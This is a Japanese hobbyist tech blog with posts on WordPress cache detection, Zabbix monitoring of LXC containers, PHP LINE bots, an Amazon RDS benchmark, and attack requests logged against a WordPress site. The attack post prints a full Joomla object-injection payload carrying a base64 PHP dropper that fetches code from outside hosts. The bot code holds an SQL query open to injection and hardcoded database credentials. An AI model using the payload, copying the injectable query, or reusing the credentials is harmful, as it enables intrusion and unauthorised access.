るいすときのこの物語

オタクエンジニアの雑記

自作プラグインでwp-config.phpを読み込んでキャッシュの設定を確認する

開発中の block-wpscan というプラグインがあるのですが Wordpressのキャッシュプラグインを使っていると変な動作をすることが分かった。

https://luispc.com/2016/03/25/8019

block-wpscan 0.7.5 で wp-config.php を読み込んでキャッシュが有効なのかどうかを 判定してみたのでそれの覚書です。

 

 

概要

Wordpress の関数に define('WP_CACHE', true|false) を判定する関数がないので wp-config.php を読み込んで正規表現でやっていこうと思います。

もし関数があったら教えてほしいです...。

 

 

コード

WP_CONTENT_DIR で /var/www/wp-content のパスを取得して 7行目で変数に wp-config.php をそのままぶち込んでます。

9行目で正規表現を使ってキャッシュが有効なのかどうかを判定してます。

define('WP_CACHE', true); define('WP_CACHE',true); define('WP_CACHE', false);

define('WP_CACHE', true);

define('WP_CACHE', TRUE); 大文字小文字含めて全部は判定できてると思う(願いたい)

 

 

Wordpress のプラグインって最初だけ審査が必要なんですけどアップデートとかはいらないんですよね。 絶対情報盗むようなプラグインあるだろうなぁ...。

コンテナをZabbixで監視する

今までずっとKVMを使ってきましたがコンテナ型の方が軽いし速いしで 最近はコンテナ(LXC Container)を使っています。

コンテナ型はKVMと違ってエミュレートされず、cgroupでリソース管理がされるため Zabbix-Agentを入れるだけではダメなんです;;

 

[blogcard url="http://www.zabbix.com/img/zabconf2015_jp/presentations/04_zabconf2015_watanabe.pdf"][/blogcard]

詳しいことは上記で説明されています。

 

 

コンテナをZabbixで監視する

既に有志がLXC用のZabbixテンプレートを作成していて公開されていますが 私の環境ではネットワークトラフィックのIn/Outが取得できませんでした(何でかは忘れた)

 

[blogcard url="https://github.com/rluisr/Zabbix-LXC"][/blogcard]

ということでフォークして手直しした。

 

 

Zabbix-LXC

container-zabbix

変更点

  • コンテナに1つ以上のNICがある場合でもIN/OUTの転送量が取得できる(合算)
  • 転送量がきちんと取得できるように(?)
  • Proxmoxを使用している場合にZabbixに登録される表示名にホスト名を指定(そのまんまだとid (ex 100, 101とか)で登録される)

 

インストール方法

$ sudo ./install.sh

 

テンプレートのインポート

# ノードのテンプレート
zbx_template/Template_LXC_Node.yml (Proxmoxの人は Template_LXC_Node_Proxmox.yml)

# コンテナのテンプレート
zbx_template/Template_LXC_CT.yml

の2つインポート

 

コンテナの登録はLLDによって勝手にされるので放置してるだけで大丈夫だと思います。 オリジナルのレポジトリはPerlでディスカバリースクリプト書かれていましたが、PHPで書き直したのでちょっとね.......。 ちなみにProxmoxはデフォでsudoとphpが入ってないのでご注意。

【PHP】LINE Messaging APIで田村ゆかりさんの公式サイト更新通知BOTを作りなおした #yukarin

従来のLINE BOT APIが廃止予定ということで 新たに発表されたLINE Messaging APIに移行しました。

 

line

作ったものはこんな感じ普通です。 LINE Messaging API は管理画面から背景色とかアカウント設定できる項目はめっちゃ増えてて LINE BOT APIよりは個性的なものが作れそう(^o^)

qr 田村ゆかりさんに興味がある人、待ってます\(^o^)/

 

 

LINE Messaging API

誰でも手軽に叩けるAPIです。 BOTも作成できるし、管理画面も用意されてて分かりやすい。

無料で作成するBOTはユーザーの発言に対しての返信はできる(REPLY_MESSAGE) が BOTから直接メッセージを送信(PUSH_MESSAGE)するのは月2万ぐらいかかる。

しかし友達登録上限50人という制限付きBOTでは REPLY_MESSAGE & PUSH_MESSAGE どちらも使える。

従来のLINE BOT APIと変わったことはそんなことなくて 移行難易度はそんなに高くないと思います。

 

Webhookの設定

今回実装にあたって少しだけハマったところは Webhookの設定で、CloudflareのSSL機能を使ったサーバーを指定すると Webhookが飛んでこないという仕様だった。

LINE BOT APIでは使えたんですけどね、いずれか使えるようにはなりそう。 ちなみにLet's Encryptでは可能です。

 

 

実装

今回もPHPです。 特に理由はありません。楽だからです。

 

callback

<?php
require_once './lib/callback_class.php';

/* LINE */
$CHANNEL_SECRET = '';
$CHANNEL_ACCESS_TOKEN = '';

/* TWITTER */
$CONSUMER_KEY = '';
$CONSUMER_SECRET = "";
$ACCESS_TOKEN = "";
$ACCESS_TOKEN_SECRET = "";

$json_input = file_get_contents('php://input');
$yows = new YOWS($CHANNEL_SECRET, $CHANNEL_ACCESS_TOKEN, $json_input);

if ($yows->type === "unfollow") {
    $yows->unRegister($yows->userid);
} elseif ($yows->type === "follow" && $yows->checkRegister($yows->userid) === 0) {
    $profile = $yows->getProfile($yows->userid);
    $yows->register($yows->userid);
    $yows->pushMessage($yows->userid, "登録ありがとうございます ??3 hearts?\n\n・田村ゆかり公式サイト\n・ファンクラブサイト\nの更新をお知らせ致します??light bulb?\n\nなお、当アカウントをブロックすることで利用の停止ができます ??content?");
} elseif ($yows->type === "follow" && $yows->checkRegister($yows->userid) === 1) {
    $yows->pushMessage($yows->userid, "既に登録済みです。");
} else {
    die();
}
<?php
require_once 'twitteroauth/twitteroauth.php';

class YOWS
{
    private $CHANNEL_SECRET = '';
    private $CHANNEL_ACCESS_TOKEN = '';
    public $header = [];
    public $data, $userid, $type = '';

    public function __construct($CHANNEL_SECRET, $CHANNEL_ACCESS_TOKEN, $data)
    {
        $this->CHANNEL_SECRET = $CHANNEL_SECRET;
        $this->CHANNEL_ACCESS_TOKEN = $CHANNEL_ACCESS_TOKEN;
        $this->data = $data;
        $this->getallheaders();
        $this->checkSignature();
        $this->setVariables();
    }

    private function getallheaders()
    {
        $header = '';
        foreach ($_SERVER as $name => $value) {
            if (substr($name, 0, 5) == 'HTTP_') {
                $header[strtoupper(str_replace(' ', '-', ucwords(str_replace('_', ' ', substr($name, 5)))))] = $value;
            }
        }
        $this->header = $header;
    }

    public function checkSignature()
    {
        if (base64_decode($this->header["X-LINE-SIGNATURE"]) === hash_hmac('sha256', $this->data, $this->CHANNEL_SECRET, true)) {
            $this->data = json_decode($this->data, true);
        } else {
            die();
        }
    }

    private function setVariables()
    {
        foreach ($this->data as $row) {
            $this->type = $row[0]['type'];
            $this->userid = $row[0]['source']['userId'];
        }
    }

    /**
     * @param $USERID
     * @return int 0=not register / 1=registerd
     */
    public function checkRegister($USERID)
    {
        try {
            $pdo = new PDO('mysql:dbname=; host=', '', '',
                array(PDO::ATTR_EMULATE_PREPARES => false));

            $sql = "SELECT * FROM line WHERE userid='${USERID}'";
            $stmt = $pdo->query($sql);

            foreach ($stmt as $row) {
                $query_result = $row['id'];
            }

            empty($query_result) === true ? $result = 0 : $result = 1;

            return $result;

        } catch (PDOException $e) {
            $this->debug('Error:' . $e->getMessage());
            die();
        }
    }

    public function register($USERID)
    {
        try {
            $pdo = new PDO('mysql:dbname=; host=', '', '',
                array(PDO::ATTR_EMULATE_PREPARES => false));

            $stmt = $pdo->prepare('INSERT INTO line (userid, date) VALUES (:register_userid, :date)');
            $stmt->execute(array(':register_userid' => $USERID, ':date' => $this->getDate()));

        } catch (PDOException $e) {
            $this->debug('Error:' . $e->getMessage());
            die();
        }
    }

    public function unRegister($USERID)
    {
        try {
            $pdo = new PDO('mysql:dbname=; host=', '', '',
                array(PDO::ATTR_EMULATE_PREPARES => false));

            $stmt = $pdo->prepare('DELETE FROM line WHERE userid = :delete_userid');
            $stmt->execute(array(':delete_userid' => $USERID));

        } catch (PDOException $e) {
            $this->debug('Error:' . $e->getMessage());
            die();
        }
    }

    private function getDate()
    {
        return date("Y-m-d H:i:s");
    }

    public function pushMessage($USERID, $msg)
    {
        $format_text = [
            "type" => "text",
            "text" => $msg
        ];

        $post_data = [
            "to" => $USERID,
            "messages" => [$format_text]
        ];

        $header = array(
            'Content-Type: application/json',
            'Authorization: Bearer ' . $this->CHANNEL_ACCESS_TOKEN
        );

        $ch = curl_init('https://api.line.me/v2/bot/message/push');
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);

        $result = curl_exec($ch);
        curl_close($ch);
    }

    public function debug($string)
    {
        error_log(print_r($string, true), 3, '/var/log/nginx/error.log');
    }
}

 

LINEからのアクセスかどうかは従来のLINE BOT APIと同じで

public function checkSignature()
    {
        if (base64_decode($this->header["X-LINE-SIGNATURE"]) === hash_hmac('sha256', $this->data, $this->CHANNEL_SECRET, true)) {
            $this->data = json_decode($this->data, true);
        } else {
            die();
        }
    }

こんな感じで署名の確認ができる。

 

 

Push(BOTからユーザーへメッセージ送信)

<?php
require_once 'lib/push_class.php';

$URL = "http://www.tamurayukari.com/";
$old_url = file_get_contents('old_url');

/* LINE */
$CHANNEL_ACCESS_TOKEN = '';

$yows = new Push($URL, $CHANNEL_ACCESS_TOKEN);

$latest_content = $yows->crawler->filter('div#news_table td a')->text();
$latest_url = $yows->crawler->filter('div#news_table td a')->attr('href');

if($latest_url !== $old_url) {
    $msg = "【サイト更新通知BOTよりお知らせ】\r\n公式サイトが更新されました!\r\n\r\n【タイトル】\r\n{$latest_content}\r\n\r\n詳しくはこちらへ!\r\n${latest_url}";

    foreach ($yows->getUserid() as $userid) {
        $yows->pushMessage($userid, $msg);
    }

    file_put_contents('old_url', $latest_url);
}
<?php
require_once 'goutte/vendor/autoload.php';

use Goutte\Client;

class Push
{
    private $CHANNEL_ACCESS_TOKEN, $url = '';
    public $client, $crawler = '';

    public function __construct($url, $CHANNEL_ACCESS_TOKEN)
    {
        $this->client = new Client();

        $this->url = $url;
        $this->CHANNEL_ACCESS_TOKEN = $CHANNEL_ACCESS_TOKEN;
        $this->crawler = $this->client->request('GET', $this->url);
    }

    public function getUserid() {
        try {
            $array_userid = [];

            $pdo = new PDO('mysql:dbname=yukarinotification; host=database.cma0jldtuyey.us-west-2.rds.amazonaws.com', 'luis', 'luism8526',
                array(PDO::ATTR_EMULATE_PREPARES => false));

            $stmt = $pdo->query("SELECT * FROM line");

            foreach ($stmt as $row) {
                $array_userid[] = $row['userid'];
            }

            return $array_userid;

        } catch (PDOException $e) {
            /** ERROR HANDLING  */
            die();
        }
    }

    public function pushMessage($USERID, $msg)
    {
        $format_text = [
            "type" => "text",
            "text" => $msg
        ];

        $post_data = [
            "to" => $USERID,
            "messages" => [$format_text]
        ];

        $header = array(
            'Content-Type: application/json',
            'Authorization: Bearer ' . $this->CHANNEL_ACCESS_TOKEN
        );

        $ch = curl_init('https://api.line.me/v2/bot/message/push');
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);

        $result = curl_exec($ch);
        curl_close($ch);
    }
}

LINEにリクエストを投げるときはCHANNEL_ACCESS_TOKENをヘッダーに載せるだけ。 LINE DeveloperからサーバーのIPをホワイトリストに登録する必要はあります。 今回の話に関係はないですけどGoutte便利だし何より速い。

 

メッセージを送信する関数は

    public function pushMessage($USERID, $msg)
    {
        $format_text = [
            "type" => "text",
            "text" => $msg
        ];
        $post_data = [
            "to" => $USERID,
            "messages" => [$format_text]
        ];
        $header = array(
            'Content-Type: application/json',
            'Authorization: Bearer ' . $this->CHANNEL_ACCESS_TOKEN
        );
        $ch = curl_init('https://api.line.me/v2/bot/message/push');
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
        $result = curl_exec($ch);
        curl_close($ch);

特筆することなし!

 

 

戯言

Webhookに関してはイベント内容がJSON見れば一発で分かるようになったので楽でした。 LINE BOT APIでは type 1 が友達追加時で~ type3 がユーザーからのメッセージとかで 分かりにくかった。

あとはドキュメントも日本語が用意されて、各言語のSDKも用意されているので 比較的容易に移行(作成)できました。

ソースコードはこちら rluisr/yukari-line-botA - github

LINE BOT API 実は友達追加時にもCallbackされてた & 署名確認をしよう。

前回こんな記事を書きました。 田村ゆかりさん公式サイトの通知を LINE BOT API で作ってみた。 #yukarin

この記事では友達追加をしてもらった際にメッセージを送ってもらって mid(ユーザーID)を保存するという処理だったのですが、友人が 「友達追加時にもCallbackされるからメッセージ送らなくてもmid保存できるよ」と教えてもらいました。

 

試しに中身を覗いてみた

{
    "result": [
        {
            "content": {
                "message": null, 
                "opType": 4, 
                "params": [
                    "", 
                    null, 
                    null
                ], 
                "reqSeq": 0, 
                "revision": 350
            }, 
            "createdTime": 1461579375186, 
            "eventType": "138311609100106403", 
            "from": "", 
            "fromChannel": , 
            "id": "", 
            "to": [
                ""
            ], 
            "toChannel": 1462173514
        }
    ]
}

注目するのは "opType": 4 です。 友達追加時は 4 ブロック時は 8 が返ってきます。

LINE Developers にも記載されてました...。

FireShot Capture 42 - LINE Developers - BOT API - API refere_ - https___developers.line.me_bot-api

 

友達追加時に、midを保存。 ブロック時にmidを削除といったことが可能ですね。

ということでPHPで友達追加時に相手のmidを保存するコードは以下に。

<?php
/**
 * $otType は 登録時とブロック時にリクエストが飛んで来る。
 * 4 = 友だち追加
 * 8 = ブロック
 */
$f_mids = file_get_contents('./mids');
$content = file_get_contents('php://input');
$content = json_decode($content);
$opType = $content->result[0]->content->opType;
$mid = trim($content->result[0]->from);

/*
 * 最初の登録
 */
if ($opType === 4 && strpos($f_mids, $mid) === false) {
    $text = "ご登録が完了しました。\r\n田村ゆかりさん公式サイトが更新される度にLINEでお知らせいたします。";
    $response_format_text = ['contentType' => 1, "toType" => 1, "text" => $text];
    $post_data = [
        "to" => [$mid],
        "toChannel" => "1383378250",
        "eventType" => "138311608800106203",
        "content" => $response_format_text
    ];

    toPost($post_data);
    file_put_contents('mids', $mid . "\r\n", FILE_APPEND | LOCK_EX);
    die();
}

この一々保存するの面倒なので一斉送信できるAPIを公開してくだしゃい

 

ふとコードを書き直してる時にセキュリティやばくね?ってなって思ってた時に署名とかこないの?って思ったら署名乗ってくるみたいですね...。 Qiitaとか9割方、署名確認してないです。

 

LINEからのアクセスか検証する

LINEからのアクセスの場合、ヘッダーに X-LINE-CHANNELSIGNATURE があり これをbase64デコードしたもの + LINEきたらjsonの内容を LINE BUSINESS CENTER で確認できる ChannelSecret をキーとしたHMAC方式SHA256アルゴリズムのハッシュ値が 合致すればOKということです。

/* LINE からのアクセスか検証 */
$channel_secret = "<チャンネルシークレット>";
$headers = getallheaders();
$content = file_get_contents('php://input');

if (base64_decode($headers['X-LINE-CHANNELSIGNATURE']) === hash_hmac('sha256', $content, $channel_secret, true)) {
    $f_mids = file_get_contents('./mids');
    $opType = $content->result[0]->content->opType;
    $mid = trim($content->result[0]->from);
} else {
    die();
}

 

ちなみに nginx だとPHPの getallheaders 関数が使えないので

function getallheaders()
{
    $headers = '';
    foreach ($_SERVER as $name => $value) {
        if (substr($name, 0, 5) == 'HTTP_') {
            $headers[strtoupper(str_replace(' ', '-', ucwords(str_replace('_', ' ', substr($name, 5)))))] = $value;
        }
    }
    return $headers;
}

よく見るこんなのを使います。

Wordpressに攻撃してくるリクエストがおもしろい!【block-wpscan】

Wordpressを使用しているサーバーは脆弱性だらけとよく言われてます。 セキュリティはしっかりしないと簡単に侵入されたりしてしまいます。

そんな中で面白かったものをいくつか挙げてみたいと思います。 ちなみにここで紹介している不正アクセスは block-wpscan というプラグインでブロック可能です。

 

オーソドックスなブルートフォースアタック

とログを見てみると無かった。これは意外だった。

 

xmlrpc.php

xmlrpc

 

xmlrpc.php とは

xmlrpc.phpはそもそも、これを使うことで標準の管理画面以外からもAPIを使って、記事の投稿ができるようになるもの。どうやらここへのブルートフォースアタックでのっとりをしようとしているか、Pingback機能を悪用して当サーバーを踏み台にして攻撃に利用するためにアタックされる事例が多い - https://iritec.jp/web_service/10258/

ブルートフォースアタックでもなく、落とそうとしたわけでもないですがやっぱりアクセスはあった。 しかも PHP直打ち。何がしたかったんだろうか...。

wp-login.php へのブルートフォースアタックするのもありますが、xmlrpc.php へでもID/PWをブルートフォースアタックすることができます。

 

 

意味不明な攻撃

base64

UserAgentも何だか怪しいし、リクエストURLもやばい。 これだけ見ても全く理解できません。

実際のリクエストURLは長いです↓

O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:3738:"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl0Y25SbkxuVnBMbkJvYVc1dFlTNWxaSFV1Y0dndlkyOXRjRzl1Wlc1MGN5OXFiMjl0YkdFdWRIaDBKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQmxiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJwdFlXbHNMbkJvY0NJZ093MEtKSFJsZUhReUlEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXRjblJuTG5WcExuQm9hVzV0WVM1bFpIVXVjR2d2WTI5dGNHOXVaVzUwY3k5cWJXRnBiSG91ZEhoMEp5azdEUW9rYjNCbGJqSWdQU0JtYjNCbGJpZ2tZMmhsWTJzeUxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNHVnVNaXdnSkhSbGVIUXlLVHNOQ21aamJHOXpaU2drYjNCbGJqSXBPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR05vWldOck1pa3BldzBLSUNBZ0lHVmphRzhnSkdOb1pXTnJNaTRpUEM5aWNqNGlPdzBLZldWc2MyVWdEUW9nSUdWamFHOGdJbTV2ZENCbGVHbDBjeklpT3cwS1pXTm9ieUFpWkc5dVpUSWdMbHh1SUNJZ093MEtEUW9rWTJobFkyc3pQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDBndWFIUnRJaUE3RFFva2RHVjRkRE1nUFNCb2RIUndYMmRsZENnbkp5azdEUW9rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3TXl3a2RHVjRkRE1wT3cwS1ptTnNiM05sS0NSdmNETXBPdzBLRFFva1kyaGxZMnMwUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJOb1pXTnJMbkJvY0NJZ093MEtKSFJsZUhRMElEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXRjblJuTG5WcExuQm9hVzV0WVM1bFpIVXVjR2d2WTI5dGNHOXVaVzUwY3k5eGNTNTBlSFFuS1RzTkNpUnZjRFE5Wm05d1pXNG9KR05vWldOck5Dd2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQTBMQ1IwWlhoME5DazdEUXBtWTJ4dmMyVW9KRzl3TkNrN0RRb05DaVJqYUdWamF6VTlKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2TDIxbFpHbGhMMnB0WVdsc2N5NXdhSEFpSURzTkNpUjBaWGgwTlNBOUlHaDBkSEJmWjJWMEtDZG9kSFJ3T2k4dmJYSjBaeTUxYVM1d2FHbHViV0V1WldSMUxuQm9MMk52YlhCdmJtVnVkSE12Y1hGNkxuUjRkQ2NwT3cwS0pHOXdOVDFtYjNCbGJpZ2tZMmhsWTJzMUxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNEVXNKSFJsZUhRMUtUc05DbVpqYkc5elpTZ2tiM0ExS1RzTkNnMEtKR05vWldOck5qMGtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTlzYVdKeVlYSnBaWE12YW05dmJXeGhMM05sYzNOcGIyNHZjMlZ6YzJsdmJpNXdhSEFpSURzTkNpUjBaWGgwTmlBOUlHaDBkSEJmWjJWMEtDZG9kSFJ3T2k4dmNHRnpkR1ZpYVc0dVkyOXRMM0poZHk5VlNFRkhWRGc0TnljcE93MEtKRzl3TmoxbWIzQmxiaWdrWTJobFkyczJMQ0FuZHljcE93MEtabmR5YVhSbEtDUnZjRFlzSkhSbGVIUTJLVHNOQ21aamJHOXpaU2drYjNBMktUc05DZzBLSkhSdmVpQTlJQ0lpT3cwS0pITjFZbXBsWTNRZ1BTQW5TbTl0SUhwNmVpQW5JQzRnSkY5VFJWSldSVkpiSjFORlVsWkZVbDlPUVUxRkoxMDdEUW9rYUdWaFpHVnlJRDBnSjJaeWIyMDZJRXRsYTJ0aGFTQlRaVzV6Wlc0Z1BIWnZibEpsYVc1b1pYSjZTMnhoZFhOQVUyRnBhMjkxYm1GSWFXSnBMbU52YlQ0bklDNGdJbHh5WEc0aU93MEtKRzFsYzNOaFoyVWdQU0FpVTJobGJHeDZJRG9nYUhSMGNEb3ZMeUlnTGlBa1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU0F1SUNJdmJHbGljbUZ5YVdWekwycHZiMjFzWVM5cWJXRnBiQzV3YUhBL2RTSWdMaUFpWEhKY2JpSWdMaUJ3YUhCZmRXNWhiV1VvS1NBdUlDSmNjbHh1SWpzTkNpUnpaVzUwYldGcGJDQTlJRUJ0WVdsc0tDUjBiM29zSUNSemRXSnFaV04wTENBa2JXVnpjMkZuWlN3Z0pHaGxZV1JsY2lrN0RRb05Da0IxYm14cGJtc29YMTlHU1V4RlgxOHBPdzBLRFFvTkNqOCsnKSk7DQpmY2xvc2UoJGZwKTs='));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}����

で実際これが何なのか調べてみたら他CMSで使われる PoPs (Points of Presence) といわれる攻撃らしい。 影響あるのは Joomla というCMS。Wordpressには影響なさそう。 ちなみにbase64の部分をデコードしていくと、PHPコードが出てきます。 ということで割愛しますが、詳しくはここで解説されてます。

と、ここまで面白みのある不正なアクセスはそこまでありませんでしたがこれらの攻撃も防げる block-wpscan オススメです!

Amazon RDS 最安インスタンス db.t2.micro を契約してみた。【ベンチマーク】

データベースもクラウドの時代や! 自サーバーにデータベースを置くとバックアップするのが面倒だったり、管理が大変だったりと大変なので クラウドに置いてみようと思った。

 

Amazon RDS を選んだ理由

Amazon_rds

無料体験期間で12ヶ月無料で使えるからです! 無料で使えるプランは db.t2.micro 最安インスタンスです。

 

インスタンス vCPU メモリ PIOPS 用に最適化 ネットワークパフォーマンス 容量
db.t2.micro 1 1GB 5GB

その他の料金については公式サイトを見て下さい。

 

また、使えるエンジンも多く ・Aurora ・MySQL ・MariaDB ・PostgreSQL ・Oracle ・SQL Server と現時点(2016/04/23)で6個から選べる...。

 

他にもクラウドデータベースは ・Oracle Cloud ・Google Cloud SQL ・Rackspace があります。

 

 

オンデマンドインスタンス & リザーブドインスタンス

オンデマンドインスタンス

オンデマンドインスタンスでは長期間の契約や初期費用がなく、時間単位でインスタンスに対する料金が発生します。これにより、データベースのキャパシティーを事前にプランニングしたり、購入したりするコストや手間が省けます。オンデマンドの料金設定のため使用した分のみ料金が発生し、開発、テスト、その他の短期ワークロードに最適です。

言ってしまえば従量課金制です。使った分だけ支払います。

 

リザーブドインスタンス

リザーブドインスタンスは一定量のデータベースワークロードに最適で、オンデマンドと比べて大幅にコストを削減できます。オンデマンド料金と比べると、1 年契約のリザーブドインスタンスでは最大 44%、3 年契約のリザーブドインスタンスでは最大 63% のコスト削減が可能です。リザーブドインスタンスの場合は、所定の期間終了まで使用する契約を結ぶことになり、初期費用のお支払いが必要ですが、時間あたりの料金は下記のとおり割安になります。実際に使用したかどうかにかかわらず、期間中は各時間ごとに料金が発生します。

こちらは固定料金みたいなものです。

今回契約したのは オンデマンドインスタンス です。 使うのなんて月に数回程度、数十行のレコードへのINSERT,UPDATE,SELECTぐらいなのでリザーブドインスタンスだととてつもなく料金の無駄になります。

 

 

使い方

FireShot Capture 36 - RDS · AWS Console_ - https___us-west-2.console.aws.amazon.com_rds_home

使い方ではなくインスタンス作成の時ですが、右側を選択すると「無料利用枠範囲内」で 勝手に項目が決定されます。

ステータスが利用可能になるとエンドポイント(URL)が表示されます。 セキュリティポリシー的なやつで、アクセス元IPをホワイトリストに追加する必要があります。 mysql -h <エンドポイントURL> -u <ユーザー名> -p でいつものように使えるようになります。

既存のデータベースをダンプして、RDSにインポートしてコードを書き換えれば 簡単に移行できます。

 

ベンチマーク

今回は Sysbench というベンチマークソフトを使ってみました。 CPU、ディスクI/O、データベースなど様々なベンチマークを測ることができます。

準備
sysbench \
--test=oltp \
--db-driver=mysql \
--oltp-table-size=10000 \
--mysql-password=<パスワード> \
prepare

レコード数は10000

 

sysbench \
--test=oltp \
--db-driver=mysql \
--oltp-table-size=10000 \
--mysql-password=<パスワード> \
--num-threads=1 \
--max-requests=0 \
--max-time=60 \
--oltp-read-only=off \
run

何となく分かると思います。

比較はトランザクション数で比較します。

 

トランザクションとは

一般にデータベースには多くの人がアクセスし、様々な処理を行います。閲覧するだけの人もいれば、データを追加・更新したり、削除する人もいます。その中でも特に、データの追加・更新・削除、SQL 文で言うと「INSERT 文」「UPDATE 文」「DELETE 文」についての処理のまとまりをトランザクションと言います。 - http://www.techscore.com/tech/sql/SQL11/11_01.html/

詳しいことはこちらが参考になります。

 

 

vCPU : 4 / メモリ : 4GB サーバー

OLTP test statistics:
    queries performed:
        read:                            158886
        write:                           56745
        other:                           22698
        total:                           238329
    transactions:                        11349  (189.15 per sec.)
    deadlocks:                           0      (0.00 per sec.)
    read/write requests:                 215631 (3593.84 per sec.)
    other operations:                    22698  (378.30 per sec.)

Test execution summary:
    total time:                          60.0002s
    total number of events:              11349
    total time taken by event execution: 59.9105
    per-request statistics:
         min:                                  4.12ms
         avg:                                  5.28ms
         max:                                 91.92ms
         approx.  95 percentile:               6.33ms

Threads fairness:
    events (avg/stddev):           11349.0000/0.00
    execution time (avg/stddev):   59.9105/0.00

transactions: 11349 (189.15 per sec.)

 

Amazon RDS db.t2.micro

OLTP test statistics:
    queries performed:
        read:                            280
        write:                           100
        other:                           40
        total:                           420
    transactions:                        20     (0.31 per sec.)
    deadlocks:                           0      (0.00 per sec.)
    read/write requests:                 380    (5.93 per sec.)
    other operations:                    40     (0.62 per sec.)

Test execution summary:
    total time:                          64.1199s
    total number of events:              20
    total time taken by event execution: 64.1194
    per-request statistics:
         min:                               2933.48ms
         avg:                               3205.97ms
         max:                               4202.67ms
         approx.  95 percentile:            4170.87ms

Threads fairness:
    events (avg/stddev):           20.0000/0.00
    execution time (avg/stddev):   64.1194/0.00

transactions: 20 (0.31 per sec.)

差が圧倒的すぎる...。 僕の使用用途はただユーザー情報を入れてるだけのデータベースで、正規化するほどのものでもないので 十分です...。

無料利用枠もあって、使いやすいし Amazon RDS オススメです。 まあ、Google Cloud SQL の最安プライン オンデマンドインスタンスの方が安いんですけどねw

田村ゆかりさん公式サイトの通知を LINE BOT API で作ってみた。 #yukarin

LINE BOT が先着1万人に配られるということで乗ってみた。 今日も相変わらずPHP

今回は 田村ゆかりさんの公式サイトが更新される度にLINE BOT APIを通して通知するといったものを作った。

 

登録の仕方

ova0152n左記QRコードで友達追加をして、1度メッセージを送信すると登録が完了になります。 なんで1度メッセージを送信する必要性があるのかは後で説明しまうす。

 

 

雑書

<?php
@$f_mids = file_get_contents('./mids');
$content = file_get_contents('php://input');
$content = json_decode($content);
$content = $content->result{0}->content;
$mid = $content->from;

